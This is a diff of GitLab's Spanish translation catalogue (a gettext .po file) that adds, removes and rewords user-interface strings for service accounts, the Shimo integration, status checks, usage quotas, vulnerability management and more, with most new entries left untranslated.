@@ -31138,9 +31682,6 @@ msgstr "Evento de Sentry"
msgid "Sep"
msgstr "Sep"
-msgid "Separate topics with commas."
-msgstr "Separar temas con comas."
-
msgid "September"
msgstr "Septiembre"
@@ -31240,7 +31781,16 @@ msgstr "Su repositorio no tiene un archivo correspondiente %{startTag}serverless
msgid "Service"
msgstr "Servicio"
-msgid "Service Accounts keys are required to authorize GitLab to deploy your Google Cloud project."
+msgid "Service Account"
+msgstr ""
+
+msgid "Service Account Key"
+msgstr ""
+
+msgid "Service Accounts"
+msgstr ""
+
+msgid "Service Accounts keys authorize GitLab to deploy your Google Cloud project"
msgstr ""
msgid "Service Desk"
@@ -31252,6 +31802,9 @@ msgstr ""
msgid "Service URL"
msgstr "URL del servicio"
+msgid "Service account generated successfully"
+msgstr ""
+
msgid "Service ping is disabled in your configuration file, and cannot be enabled through this form."
msgstr ""
@@ -31297,6 +31850,9 @@ msgstr ""
msgid "ServicePing|Turn on service ping to review instance-level analytics."
msgstr ""
+msgid "Services"
+msgstr ""
+
msgid "Session ID"
msgstr "ID de sesión"
@@ -31378,6 +31934,9 @@ msgstr "Establecer la fecha de vencimiento a %{due_date}."
msgid "Set the iteration to %{iteration_reference}."
msgstr "Establece la iteración a %{iteration_reference}."
+msgid "Set the maximum number of slices allowed to run concurrently during Elasticsearch reindexing. Learn more about %{max_slices_running_link_start}maximum running slices configuration%{max_slices_link_end}."
+msgstr ""
+
msgid "Set the maximum session time for a web terminal."
msgstr ""
@@ -31435,9 +31994,6 @@ msgstr "Establecer el peso a %{weight}."
msgid "Set what should be replicated by this secondary site."
msgstr ""
-msgid "SetPasswordToCloneLink|set a password"
-msgstr "establecer una contraseña"
-
msgid "SetStatusModal|Add status emoji"
msgstr "Añadir emoji de estado"
@@ -31512,9 +32068,6 @@ msgid_plural "Settings saved successfully"
msgstr[0] ""
msgstr[1] ""
-msgid "Setting this to 0 means using the system default timeout value."
-msgstr ""
-
msgid "Settings"
msgstr "Configuración"
@@ -31581,6 +32134,27 @@ msgstr "Restablecer los minutos utilizados de los 'pipelines'"
msgid "Sherlock Transactions"
msgstr "Transacciones de Sherlock"
+msgid "Shimo|Go to Shimo Workspace"
+msgstr ""
+
+msgid "Shimo|Link to a Shimo Workspace from the sidebar."
+msgstr ""
+
+msgid "Shimo|Shimo"
+msgstr ""
+
+msgid "Shimo|Shimo Workspace"
+msgstr ""
+
+msgid "Shimo|Shimo Workspace URL"
+msgstr ""
+
+msgid "Shimo|Shimo Workspace integration is enabled"
+msgstr ""
+
+msgid "Shimo|You've enabled the Shimo Workspace integration. You can view your wiki directly in Shimo."
+msgstr ""
+
msgid "Should you ever lose your phone or access to your one time password secret, each of these recovery codes can be used one time each to regain access to your account. Please save them in a safe place, or you %{boldStart}will%{boldEnd} lose access to your account."
msgstr ""
@@ -31596,6 +32170,9 @@ msgstr ""
msgid "Show all activity"
msgstr "Mostrar toda la actividad"
+msgid "Show all breadcrumbs"
+msgstr ""
+
msgid "Show all issues."
msgstr "Mostrar todas las incidencias."
@@ -31644,18 +32221,9 @@ msgstr "Mostrar la última versión"
msgid "Show list"
msgstr ""
-msgid "Show me how to add a pipeline"
-msgstr ""
-
msgid "Show one file at a time"
msgstr ""
-msgid "Show parent pages"
-msgstr "Mostrar páginas padre"
-
-msgid "Show parent subgroups"
-msgstr "Mostrar subgrupos padre"
-
msgid "Show the Closed list"
msgstr ""
@@ -32020,6 +32588,12 @@ msgstr "Algo salió mal en por nuestra parte. ¡Por favor, inténtelo de nuevo!.
msgid "Something went wrong trying to change the locked state of this %{issuableDisplayName}"
msgstr "Algo salió mal al intentar cambiar el estado de bloqueo de este %{issuableDisplayName}. ¡Por favor, inténtelo de nuevo!"
+msgid "Something went wrong trying to load issue contacts."
+msgstr ""
+
+msgid "Something went wrong when creating a work item. Please try again"
+msgstr ""
+
msgid "Something went wrong when reordering designs. Please try again"
msgstr ""
@@ -32104,9 +32678,6 @@ msgstr ""
msgid "Something went wrong while fetching the environments for this merge request. Please try again."
msgstr "Algo salió mal al buscar los entornos para este merge request. ¡Por favor, inténtelo de nuevo!"
-msgid "Something went wrong while fetching the package."
-msgstr "Se produjo un error al obtener el paquete."
-
msgid "Something went wrong while fetching the packages list."
msgstr "Se produjo un error al obtener la lista de paquetes."
@@ -32383,9 +32954,6 @@ msgstr "Origen (rama o tag)"
msgid "Source Branch"
msgstr ""
-msgid "Source Editor instance is required to set up an extension."
-msgstr ""
-
msgid "Source IP"
msgstr ""
@@ -32404,6 +32972,33 @@ msgstr "El origen no esta disponible"
msgid "Source project cannot be found."
msgstr "No se puede encontrar el proyecto."
+msgid "SourceEditor|\"el\" parameter is required for createInstance()"
+msgstr ""
+
+msgid "SourceEditor|%{name} is not registered."
+msgstr ""
+
+msgid "SourceEditor|Extension definition should be either a class or a function"
+msgstr ""
+
+msgid "SourceEditor|Extension definition should be either class, function, or an Array of definitions."
+msgstr ""
+
+msgid "SourceEditor|Extensions Store is required to check for an extension."
+msgstr ""
+
+msgid "SourceEditor|Name conflict for \"%{prop}()\" method."
+msgstr ""
+
+msgid "SourceEditor|No extension for unuse has been specified."
+msgstr ""
+
+msgid "SourceEditor|Source Editor instance is required to set up an extension."
+msgstr ""
+
+msgid "SourceEditor|`definition` property is expected on the extension."
+msgstr ""
+
msgid "Sourcegraph"
msgstr "Sourcegraph"
@@ -32557,9 +33152,6 @@ msgstr ""
msgid "Start a review"
msgstr "Comenzar una revisión"
-msgid "Start and due date"
-msgstr "Fechas de inicio y de fin"
-
msgid "Start by choosing a group to start exploring the merge requests in that group. You can then proceed to filter by projects, labels, milestones and authors."
msgstr "Comience eligiendo un grupo para explorar los merge requests en ese grupo. Posteriormente puede proceder a filtrar por proyectos, etiquetas, hitos, autores y asignados."
@@ -32704,6 +33296,9 @@ msgstr "Estado:"
msgid "Status: %{title}"
msgstr "Estado: %{title}"
+msgid "StatusCheck|%{failed} failed"
+msgstr ""
+
msgid "StatusCheck|%{pending} pending"
msgstr ""
@@ -32725,7 +33320,7 @@ msgstr ""
msgid "StatusCheck|Apply this status check to all branches or a specific protected branch."
msgstr ""
-msgid "StatusCheck|Check for a status response in Merge Requests. Failures do not block merges. %{link_start}Learn more%{link_end}."
+msgid "StatusCheck|Check for a status response in merge requests. Failures do not block merges. %{link_start}Learn more%{link_end}."
msgstr ""
msgid "StatusCheck|Examples: QA, Security."
@@ -32734,6 +33329,9 @@ msgstr ""
msgid "StatusCheck|External API is already in use by another status check."
msgstr ""
+msgid "StatusCheck|Failed to load status checks"
+msgstr ""
+
msgid "StatusCheck|Failed to load status checks."
msgstr ""
@@ -32755,6 +33353,12 @@ msgstr ""
msgid "StatusCheck|Status checks"
msgstr ""
+msgid "StatusCheck|Status checks all passed"
+msgstr ""
+
+msgid "StatusCheck|Status checks are being fetched"
+msgstr ""
+
msgid "StatusCheck|Status to check"
msgstr ""
@@ -32770,6 +33374,9 @@ msgstr ""
msgid "StatusCheck|You are about to remove the %{name} status check."
msgstr ""
+msgid "StatusCheck|status checks"
+msgstr ""
+
msgid "StatusPage|AWS %{docsLink}"
msgstr ""
@@ -33755,10 +34362,10 @@ msgstr ""
msgid "Terraform|Terraform init command"
msgstr ""
-msgid "Terraform|The report %{name} failed to generate."
+msgid "Terraform|The job %{name} failed to generate a report."
msgstr ""
-msgid "Terraform|The report %{name} was generated in your pipelines."
+msgid "Terraform|The job %{name} generated a report."
msgstr ""
msgid "Terraform|To get access to this terraform state from your local computer, run the following command at the command line. The first line requires a personal access token with API read and write access. %{linkStart}How do I create a personal access token?%{linkEnd}."
@@ -34013,8 +34620,8 @@ msgstr ""
msgid "The URL should start with http:// or https://"
msgstr ""
-msgid "The URL to use for connecting to Elasticsearch. Use a comma-separated list to support clustering (e.g., \"http://localhost:9200, http://localhost:9201\")."
-msgstr "La URL a utilizar para conectarse a Elasticsearch. Utilice una lista separada por comas para soportar clustering (por ejemplo, \"http://localhost:9200, http://localhost:9201\")."
+msgid "The URLs for connecting to Elasticsearch. For clustering, add the URLs separated by commas."
+msgstr ""
msgid "The X509 Certificate to use when mutual TLS is required to communicate with the external authorization service. If left blank, the server certificate is still validated when accessing over HTTPS."
msgstr "Un certificado X.509 se utiliza cuando se require una comunicación TLS con un servicio de autorización externo. Si se deja en blanco, el certificado utilizado desde el servidor es validado cuando se accedes a través del protocolo HTTPS."
@@ -34049,7 +34656,10 @@ msgstr ""
msgid "The connection will time out after %{timeout}. For repositories that take longer, use a clone/push combination."
msgstr "La conexión terminará después de %{timeout}. Para los repositorios que tarden más tiempo, utilice una combinación de git clone y git push."
-msgid "The contact does not belong to the same group as the issue."
+msgid "The contact does not belong to the same group as the issue"
+msgstr ""
+
+msgid "The content editor may change the markdown formatting style of the document, which may not match your original markdown style."
msgstr ""
msgid "The content of this page is not encoded in UTF-8. Edits can only be made via the Git repository."
@@ -34255,9 +34865,6 @@ msgstr ""
msgid "The maximum number of pipeline minutes that a group can use on shared runners per month. 0 for unlimited."
msgstr ""
-msgid "The maximum number of slices allowed to run concurrently during Elasticsearch reindexing. Learn more about %{max_slices_running_link_start}maximum running slices configuration%{max_slices_link_end}."
-msgstr ""
-
msgid "The maximum number of tags that a single worker accepts for cleanup. If the number of tags goes above this limit, the list of tags to delete is truncated to this number. To remove this limit, set it to 0."
msgstr ""
@@ -34390,9 +34997,6 @@ msgstr "El fragmento de código es visible sólo por los miembros del proyecto."
msgid "The snippet is visible to any logged in user except external users."
msgstr ""
-msgid "The source branch will be deleted"
-msgstr ""
-
msgid "The specified tab is invalid, please select another"
msgstr "La pestaña especificada no es válida, por favor seleccione otra"
@@ -34447,6 +35051,9 @@ msgstr ""
msgid "The vulnerability is no longer detected. Verify the vulnerability has been remediated before changing its status."
msgstr ""
+msgid "There are Advanced Search migrations pending that require indexing to pause. Indexing must remain paused until GitLab completes the migrations."
+msgstr ""
+
msgid "There are currently no events."
msgstr ""
@@ -34543,9 +35150,6 @@ msgstr ""
msgid "There are no variables yet."
msgstr "Todavía no hay variables."
-msgid "There are pending advanced search migrations which require indexing to be paused. Indexing must remain paused until the migrations are completed."
-msgstr ""
-
msgid "There are running deployments on the environment. Please retry later."
msgstr ""
@@ -34558,9 +35162,6 @@ msgstr ""
msgid "There are several size limits in place."
msgstr ""
-msgid "There is a halted Elasticsearch migration"
-msgstr ""
-
msgid "There is already a repository with that name on disk"
msgstr "Ya hay un repositorio con ese nombre en el disco"
@@ -34936,6 +35537,9 @@ msgstr ""
msgid "This commit is part of merge request %{link_to_merge_request}. Comments created here will be created in the context of that merge request."
msgstr "Este commit es parte de un merge request %{link_to_merge_request}. Los comentarios creados aquí se crearán en el contexto del merge request."
+msgid "This commit was signed with %{strong_open}multiple%{strong_close} signatures."
+msgstr ""
+
msgid "This commit was signed with a %{strong_open}verified%{strong_close} signature and the committer email is verified to belong to the same user."
msgstr ""
@@ -34954,12 +35558,6 @@ msgstr ""
msgid "This credential has expired"
msgstr ""
-msgid "This date is after the due date, so this epic won't appear in the roadmap."
-msgstr "Esta fecha es posterior a la fecha de vencimiento, por lo que esta tarea épica no aparecerá en la hoja de ruta."
-
-msgid "This date is before the start date, so this epic won't appear in the roadmap."
-msgstr "Esta fecha es anterior a la fecha de inicio planificada, por lo que esta tarea épica no aparecerá en la hoja de ruta."
-
msgid "This device has already been registered with us."
msgstr "Este dispositivo ya ha sido registrado con nosotros."
@@ -35008,6 +35606,12 @@ msgstr ""
msgid "This field is required."
msgstr "Este campo es obligatorio."
+msgid "This file was modified for readability, and can't accept suggestions. Edit it directly."
+msgstr ""
+
+msgid "This forked project has the following:"
+msgstr ""
+
msgid "This form is disabled in preview"
msgstr ""
@@ -35062,12 +35666,15 @@ msgstr ""
msgid "This is a private email address %{helpIcon} generated just for you. Anyone who has it can create issues or merge requests as if they were you. If that happens, %{resetLinkStart}reset this token%{resetLinkEnd}."
msgstr ""
-msgid "This is a security log of important events involving your account."
-msgstr "Este es un registro de seguridad de eventos importantes relacionados con su cuenta."
+msgid "This is a security log of authentication events involving your account."
+msgstr ""
msgid "This is a self-managed instance of GitLab."
msgstr ""
+msgid "This is an experimental feature developed by GitLab Incubation Engineering."
+msgstr ""
+
msgid "This is the highest peak of users on your installation since the license started."
msgstr ""
@@ -35077,6 +35684,9 @@ msgstr ""
msgid "This is your current session"
msgstr "Esta es su sesión actual"
+msgid "This issue is confidential and should only be visible to team members with at least Reporter access."
+msgstr ""
+
msgid "This issue is currently blocked by the following issues:"
msgstr ""
@@ -35212,9 +35822,6 @@ msgstr ""
msgid "This merge request is locked."
msgstr "Este merge request está bloqueado."
-msgid "This merge request is still a draft."
-msgstr ""
-
msgid "This merge request was merged. To apply this suggestion, edit this file directly."
msgstr ""
@@ -35257,6 +35864,9 @@ msgstr "Este proyecto todavía no tiene una pagina de inicio del wiki"
msgid "This project has no active access tokens."
msgstr "Este proyecto no tiene tokens de acceso activos."
+msgid "This project is %{strongStart}NOT%{strongEnd} a fork, and has the following:"
+msgstr ""
+
msgid "This project is archived and cannot be commented on."
msgstr "Este proyecto está archivado y no se puede comentar en el."
@@ -35356,8 +35966,8 @@ msgstr ""
msgid "Thread to reply to cannot be found"
msgstr ""
-msgid "Threat Monitoring"
-msgstr "Threat Monitoring"
+msgid "Threat monitoring"
+msgstr ""
msgid "ThreatMonitoring|Alert Details"
msgstr ""
@@ -35900,6 +36510,9 @@ msgstr ""
msgid "To see this project's operational details, contact an owner of group %{groupName} to upgrade the plan. You can also remove the project from the dashboard."
msgstr "Para ver los detalles operacionales de este proyecto, contacte con un dueño del grupo %{groupName} para actualizar el plan. También puede eiminar el proyecto del panel de control."
+msgid "To see what's changed or create a merge request, choose a branch or tag (like %{branch}), or enter a commit (like %{sha})."
+msgstr ""
+
msgid "To set up SAML authentication for your group through an identity provider like Azure, Okta, Onelogin, Ping Identity, or your custom SAML 2.0 provider:"
msgstr "Para configurar la autenticación SAML para su grupo a través de un proveedor de identidad como Azure, Okta, Onelogin, Ping Identity o su proveedor SAML 2.0 personalizado:"
@@ -35924,6 +36537,9 @@ msgstr ""
msgid "To use the additional formats, you must start the required %{container_link_start}companion containers%{container_link_end}."
msgstr ""
+msgid "To use the system's default, set this value to 0."
+msgstr ""
+
msgid "To view all %{scannedResourcesCount} scanned URLs, %{linkStart}please download the CSV file%{linkEnd}"
msgstr ""
@@ -36029,11 +36645,11 @@ msgstr "Mañana"
msgid "Too many changes to show."
msgstr "Hay demasiados cambios para mostrar."
-msgid "Too many namespaces enabled. You will need to manage them via the console or the API."
-msgstr "Demasiados espacios de nombres habilitados. Necesitará administrarlos a través de la consola o mediante el API."
+msgid "Too many namespaces enabled. Manage them through the console or the API."
+msgstr ""
-msgid "Too many projects enabled. You will need to manage them via the console or the API."
-msgstr "Demasiados proyectos habilitados. Necesitará administrarlos a través de la consola o mediante el API."
+msgid "Too many projects enabled. Manage them through the console or the API."
+msgstr ""
msgid "TopNav|Go back"
msgstr ""
@@ -36053,9 +36669,6 @@ msgstr ""
msgid "Topics"
msgstr ""
-msgid "Topics (optional)"
-msgstr "Temas (opcional)"
-
msgid "Total"
msgstr "Total"
@@ -36116,6 +36729,9 @@ msgstr "Seguimiento del tiempo con acciones rápidas"
msgid "Track your GitLab projects with GitLab for Slack."
msgstr "Haga el seguimiento de sus proyectos de GitLab con GitLab para Slack."
+msgid "Training mode"
+msgstr ""
+
msgid "Transfer"
msgstr "Transferir"
@@ -36286,7 +36902,7 @@ msgstr ""
msgid "Trigger cluster reindexing"
msgstr ""
-msgid "Trigger cluster reindexing. This feature should be used with an index that was created after 13.0."
+msgid "Trigger cluster reindexing. Only use this with an index that was created in GitLab 13.0 or later."
msgstr ""
msgid "Trigger manual job"
@@ -36343,6 +36959,12 @@ msgstr "Intente cambiar o quitar los filtros."
msgid "Try grouping with different labels"
msgstr "Intente agrupar con diferentes etiquetas"
+msgid "Try out GitLab Pipelines"
+msgstr ""
+
+msgid "Try the troubleshooting steps here."
+msgstr ""
+
msgid "Try to fork again"
msgstr "Intentar realizar el fork de nuevo"
@@ -36541,9 +37163,6 @@ msgstr "No se puede cargar el fichero diff. %{button_try_again}"
msgid "Unable to load the merge request widget. Try reloading the page."
msgstr ""
-msgid "Unable to save cadence. Please try again"
-msgstr ""
-
msgid "Unable to save iteration. Please try again"
msgstr ""
@@ -36649,6 +37268,9 @@ msgstr "Formato desconocido"
msgid "Unknown response text"
msgstr "Texto de respuesta desconocido"
+msgid "Unknown screen"
+msgstr ""
+
msgid "Unknown user"
msgstr ""
@@ -36733,9 +37355,6 @@ msgstr "Cancelar la suscripción desde este %{quick_action_target}."
msgid "Unsupported todo type passed. Supported todo types are: %{todo_types}"
msgstr "Tipo de tarea no soportada. Los tipos de tareas soportadas son: %{todo_types}"
-msgid "Until"
-msgstr "Hasta"
-
msgid "Until revoked, expired personal access tokens pose a security risk."
msgstr ""
@@ -36844,6 +37463,9 @@ msgstr "Actualizaciones"
msgid "Updating"
msgstr "Actualizando"
+msgid "Updating the attention request for %{username} failed."
+msgstr ""
+
msgid "Updating…"
msgstr ""
@@ -36886,6 +37508,9 @@ msgstr ""
msgid "Upload license"
msgstr ""
+msgid "Upload new file"
+msgstr ""
+
msgid "Upload object map"
msgstr "Subir un mapa de objetos"
@@ -36895,9 +37520,6 @@ msgstr "Hacer clic para subir"
msgid "Uploading changes to terminal"
msgstr "Subir los cambios al terminal"
-msgid "Uploads"
-msgstr "Subidas"
-
msgid "Upon performing this action, the contents of this group, its subgroup and projects will be permanently deleted after %{deletion_adjourned_period} days on %{date}. Until that time:"
msgstr ""
@@ -36910,9 +37532,6 @@ msgstr "Tiempo de funcionamiento"
msgid "Upvotes"
msgstr "Votos positivos"
-msgid "Usage"
-msgstr "Uso"
-
msgid "Usage Trends"
msgstr "Tendencias de uso"
@@ -36967,12 +37586,6 @@ msgstr ""
msgid "UsageQuota|Increase storage temporarily"
msgstr ""
-msgid "UsageQuota|LFS Objects"
-msgstr "Objetos LFS"
-
-msgid "UsageQuota|LFS Storage"
-msgstr "Almacenamiento LFS"
-
msgid "UsageQuota|LFS storage"
msgstr ""
@@ -36982,9 +37595,15 @@ msgstr ""
msgid "UsageQuota|Learn more about usage quotas"
msgstr ""
+msgid "UsageQuota|No CI minutes usage data available."
+msgstr ""
+
msgid "UsageQuota|Packages"
msgstr "Paquetes"
+msgid "UsageQuota|Pending Members"
+msgstr ""
+
msgid "UsageQuota|Pipeline artifacts and job artifacts, created with CI/CD."
msgstr ""
@@ -36997,9 +37616,6 @@ msgstr "Comprar más almacenamiento"
msgid "UsageQuota|Purchased storage available"
msgstr "Almacenamiento comprado disponible"
-msgid "UsageQuota|Repositories"
-msgstr "Repositorios"
-
msgid "UsageQuota|Repository"
msgstr "Repositorio"
@@ -37033,18 +37649,6 @@ msgstr ""
msgid "UsageQuota|This namespace has no projects which use shared runners"
msgstr "Este espacio de nombres no tiene proyectos que utilicen ejecutores compartidos"
-msgid "UsageQuota|This project is at risk of being locked because purchased storage is running low."
-msgstr ""
-
-msgid "UsageQuota|This project is locked because it is using %{actualRepositorySizeLimit} of free storage and there is no purchased storage available."
-msgstr "Este proyecto está bloqueado porque está utilizando %{actualRepositorySizeLimit} de almacenamiento gratuito y no hay almacenamiento comprado disponible."
-
-msgid "UsageQuota|This project is locked because it used %{actualRepositorySizeLimit} of free storage and all the purchased storage."
-msgstr "Este proyecto está bloqueado porque ha utilizado %{actualRepositorySizeLimit} de almacenamiento libre y todo el almacenamiento comprado."
-
-msgid "UsageQuota|This project is near the free %{actualRepositorySizeLimit} limit and at risk of being locked."
-msgstr "Este proyecto está cerca del límite gratuito de %{actualRepositorySizeLimit} y corre el riesgo de ser bloqueado."
-
msgid "UsageQuota|Total excess storage used"
msgstr ""
@@ -37090,9 +37694,6 @@ msgstr "Wiki"
msgid "UsageQuota|Wiki content."
msgstr ""
-msgid "UsageQuota|Wikis"
-msgstr "Wikis"
-
msgid "UsageQuota|You have consumed all of your additional storage, please purchase more to unlock your projects over the free %{actualRepositorySizeLimit} limit."
msgstr ""
@@ -37285,9 +37886,6 @@ msgstr ""
msgid "Used programming language"
msgstr "Lenguaje de programación utilizado"
-msgid "Used to calculate the number of slices during reindexing. The multiplier will be applied to the number of shards per index. Learn more about %{slice_multiplier_link_start}slice multiplier configuration%{slice_multiplier_link_end}."
-msgstr ""
-
msgid "Used to help configure your identity provider"
msgstr "Se utiliza para ayudar a configurar su proveedor de identidad"
@@ -37591,9 +38189,6 @@ msgstr "hizo una colaboración privada"
msgid "Username"
msgstr ""
-msgid "Username (for password-protected Elasticsearch servers)"
-msgstr ""
-
msgid "Username (optional)"
msgstr "Nombre de usuario (opcional)"
@@ -37819,6 +38414,18 @@ msgstr ""
msgid "Verification status"
msgstr "Estado de la verificación"
+msgid "VerificationReminder|Pipeline failing? To keep GitLab spam and abuse free we ask that you verify your identity with a valid payment method."
+msgstr ""
+
+msgid "VerificationReminder|Until then, free pipeline minutes on shared runners are unavailable. %{validateLinkStart}Validate your account%{validateLinkEnd} or %{docsLinkStart}use your own runners%{docsLinkEnd}."
+msgstr ""
+
+msgid "VerificationReminder|Your account has been validated."
+msgstr ""
+
+msgid "VerificationReminder|You’ll now be able to take advantage of free pipeline minutes on shared runners."
+msgstr ""
+
msgid "Verified"
msgstr "Verificado"
@@ -37843,6 +38450,9 @@ msgstr "Versión %{versionNumber} (última)"
msgid "View Documentation"
msgstr "Ver documentación"
+msgid "View Stage: %{title}"
+msgstr ""
+
msgid "View alert details at"
msgstr "Ver los detalles de la alerta en"
@@ -37940,6 +38550,9 @@ msgstr "Ver los logs"
msgid "View merge request"
msgstr ""
+msgid "View milestones"
+msgstr ""
+
msgid "View on %{url}"
msgstr "Ver en %{url}"
@@ -38050,6 +38663,9 @@ msgstr "Informe de vulnerabilidad"
msgid "Vulnerability remediated. Review before resolving."
msgstr ""
+msgid "Vulnerability report"
+msgstr ""
+
msgid "Vulnerability resolved in %{branch}"
msgstr "Vulnerabilidad resuelta en %{branch}"
@@ -38062,9 +38678,6 @@ msgstr "%{formattedStartDate} hasta hoy"
msgid "VulnerabilityChart|Severity"
msgstr "Gravedad"
-msgid "VulnerabilityManagement, Fetching linked Jira issues"
-msgstr ""
-
msgid "VulnerabilityManagement|%{statusStart}Confirmed%{statusEnd} %{timeago} by %{user}"
msgstr ""
@@ -38080,6 +38693,9 @@ msgstr ""
msgid "VulnerabilityManagement|A true-positive and will fix"
msgstr ""
+msgid "VulnerabilityManagement|Add vulnerability finding"
+msgstr ""
+
msgid "VulnerabilityManagement|Change status"
msgstr "Cambiar estado"
@@ -38089,8 +38705,11 @@ msgstr ""
msgid "VulnerabilityManagement|Create Jira issue"
msgstr "Crear una incidencia en Jira"
-msgid "VulnerabilityManagement|Detected"
-msgstr "Detectada"
+msgid "VulnerabilityManagement|Fetching linked Jira issues"
+msgstr ""
+
+msgid "VulnerabilityManagement|Manually add a vulnerability entry into the vulnerability report."
+msgstr ""
msgid "VulnerabilityManagement|Needs triage"
msgstr ""
@@ -38101,6 +38720,9 @@ msgstr ""
msgid "VulnerabilityManagement|Related Jira issues"
msgstr ""
+msgid "VulnerabilityManagement|Requires assessment"
+msgstr ""
+
msgid "VulnerabilityManagement|Something went wrong while trying to delete the comment. Please try again later."
msgstr ""
@@ -38125,9 +38747,15 @@ msgstr ""
msgid "VulnerabilityManagement|Something went wrong, could not update vulnerability state."
msgstr ""
+msgid "VulnerabilityManagement|Summary, detailed description, steps to reproduce, etc."
+msgstr ""
+
msgid "VulnerabilityManagement|Verified as fixed or mitigated"
msgstr ""
+msgid "VulnerabilityManagement|Vulnerability name or type. Ex: Cross-site scripting"
+msgstr ""
+
msgid "VulnerabilityManagement|Will not fix or a false-positive"
msgstr ""
@@ -38140,12 +38768,12 @@ msgstr ""
msgid "VulnerabilityStatusTypes|Confirmed"
msgstr "Confirmadas"
-msgid "VulnerabilityStatusTypes|Detected"
-msgstr "Detectadas"
-
msgid "VulnerabilityStatusTypes|Dismissed"
msgstr "Descartadas"
+msgid "VulnerabilityStatusTypes|Needs triage"
+msgstr ""
+
msgid "VulnerabilityStatusTypes|Resolved"
msgstr "Resueltas"
@@ -38317,7 +38945,7 @@ msgstr "Hemos encontrado los siguientes errores:"
msgid "We heard back from your device. You have been authenticated."
msgstr ""
-msgid "We love speaking to our users. Got more to say about your GitLab experiences?"
+msgid "We invite you to %{featureLinkStart}request a feature%{featureLinkEnd}, %{bugLinkStart}report a bug%{bugLinkEnd} or %{feedbackLinkStart}share feedback%{feedbackLinkEnd}"
msgstr ""
msgid "We recommend cloud-based mobile authenticator apps such as Authy, Duo Mobile, and LastPass. They can restore access if you lose your hardware device."
@@ -38623,6 +39251,9 @@ msgstr ""
msgid "When a runner is locked, it cannot be assigned to other projects"
msgstr "Cuando un ejecutor está bloqueado, no se puede asignar a otros proyectos"
+msgid "When enabled, SSH keys with no expiry date or an invalid expiration date are no longer accepted. Leave blank for no limit."
+msgstr ""
+
msgid "When enabled, existing personal access tokens may be revoked. Leave blank for no limit."
msgstr ""
@@ -38635,7 +39266,7 @@ msgstr "Al dejar la URL en blanco, aún se pueden especificar las etiquetas de c
msgid "When merge requests and commits in the default branch close, any issues they reference also close."
msgstr ""
-msgid "When the number of active users exceeds this number, additional users must be %{user_cap_docs_link_start}approved by an owner%{user_cap_docs_link_end}. Leave empty if you don't want to enforce approvals."
+msgid "When paused, GitLab still tracks the changes. This is useful for cluster/index migrations."
msgstr ""
msgid "When this merge request is accepted"
@@ -38808,6 +39439,12 @@ msgstr "Crear %{pageTitle}"
msgid "WikiPage|Create page"
msgstr "Crear página"
+msgid "WikiPage|Edit rich text"
+msgstr ""
+
+msgid "WikiPage|Edit source"
+msgstr ""
+
msgid "WikiPage|Format"
msgstr "Formato"
@@ -38817,7 +39454,7 @@ msgstr ""
msgid "WikiPage|Keep editing"
msgstr ""
-msgid "WikiPage|More Information."
+msgid "WikiPage|Learn more."
msgstr ""
msgid "WikiPage|Page title"
@@ -38931,6 +39568,9 @@ msgstr "Trabajo en curso (abierto y sin asignar)"
msgid "Work in progress Limit"
msgstr "Límite de trabajo en progreso"
+msgid "Work in progress- click here to find out more"
+msgstr ""
+
msgid "WorkItem|Work Items"
msgstr ""
@@ -39204,14 +39844,11 @@ msgstr "Puede enviar un merge request para tener este cambio en el proyecto orig
msgid "You can only %{action} files when you are on a branch"
msgstr ""
-msgid "You can only edit files when you are on a branch"
-msgstr "Solo puede agregar archivos cuando está en una rama"
-
-msgid "You can only merge once the items above are resolved."
+msgid "You can only add up to %{max_contacts} contacts at one time"
msgstr ""
-msgid "You can only merge once this merge request is approved."
-msgstr ""
+msgid "You can only edit files when you are on a branch"
+msgstr "Solo puede agregar archivos cuando está en una rama"
msgid "You can only transfer the project to namespaces you manage."
msgstr "Solo puede transferir el proyecto a los espacios de nombres que administre."
@@ -39246,6 +39883,9 @@ msgstr ""
msgid "You cannot access the raw file. Please wait a minute."
msgstr "No puede acceder al archivo sin formato. Por favor, espere un minuto."
+msgid "You cannot combine replace_ids with add_ids or remove_ids"
+msgstr ""
+
msgid "You cannot impersonate a blocked user"
msgstr "No puede suplantar a un usuario bloqueado"
@@ -39276,12 +39916,18 @@ msgstr ""
msgid "You could not create a new trigger."
msgstr "No es posible crear un nuevo disparador."
+msgid "You do not have any Google Cloud projects. Please create a Google Cloud project and then reload this page."
+msgstr ""
+
msgid "You do not have any subscriptions yet"
msgstr "Aún no tiene ninguna suscripción"
msgid "You do not have permission to access dora metrics."
msgstr ""
+msgid "You do not have permission to approve a member"
+msgstr ""
+
msgid "You do not have permission to leave this %{namespaceType}."
msgstr "No tiene permiso para dejar este %{namespaceType}."
@@ -39333,6 +39979,11 @@ msgstr "No tiene acceso a Productivity Analytics en este grupo"
msgid "You don’t have access to Value Stream Analytics for this group"
msgstr ""
+msgid "You have %{pendingMembersCount} pending member that needs approval."
+msgid_plural "You have %{pendingMembersCount} pending members that need approval."
+msgstr[0] ""
+msgstr[1] ""
+
msgid "You have been granted %{access_level} access to the %{source_link} %{source_type}."
msgstr "Se le ha concedido %{access_level} acceso al %{source_link} %{source_type}."
@@ -39381,6 +40032,9 @@ msgstr ""
msgid "You have insufficient permissions to remove this HTTP integration"
msgstr ""
+msgid "You have insufficient permissions to set customer relations contacts for this issue"
+msgstr ""
+
msgid "You have insufficient permissions to update an on-call schedule for this project"
msgstr ""
@@ -39516,9 +40170,6 @@ msgstr "Recibirás notificaciones solo para los comentarios en los que se te men
msgid "You won't be able to create new projects because you have reached your project limit."
msgstr ""
-msgid "You won't be able to pull or push repositories via %{protocol} until you %{set_password_link} on your account"
-msgstr ""
-
msgid "You'll be charged for %{true_up_link_start}users over license%{link_end} on a quarterly or annual basis, depending on the terms of your agreement."
msgstr ""
@@ -39603,7 +40254,7 @@ msgstr ""
msgid "Your CSV import for project"
msgstr ""
-msgid "Your DevOps Report gives an overview of how you are using GitLab from a feature perspective. Use it to view how you compare with other organizations."
+msgid "Your DevOps Reports give an overview of how you are using GitLab from a feature perspective. Use them to view how you compare with other organizations, and how your teams compare against each other."
msgstr ""
msgid "Your GPG keys (%{count})"
@@ -39669,6 +40320,12 @@ msgstr "Su cuenta ha sido desactivada por su administrador. Por favor, vuelva a
msgid "Your account has been deactivated. You will not be able to: "
msgstr ""
+msgid "Your account is authenticated with SSO or SAML. To %{push_pull_link_start}push and pull%{link_end} over %{protocol} with Git using this account, you must %{set_password_link_start}set a password%{link_end} or %{set_up_pat_link_start}set up a Personal Access Token%{link_end} to use instead of a password. For more information, see %{clone_with_https_link_start}Clone with HTTPS%{link_end}."
+msgstr ""
+
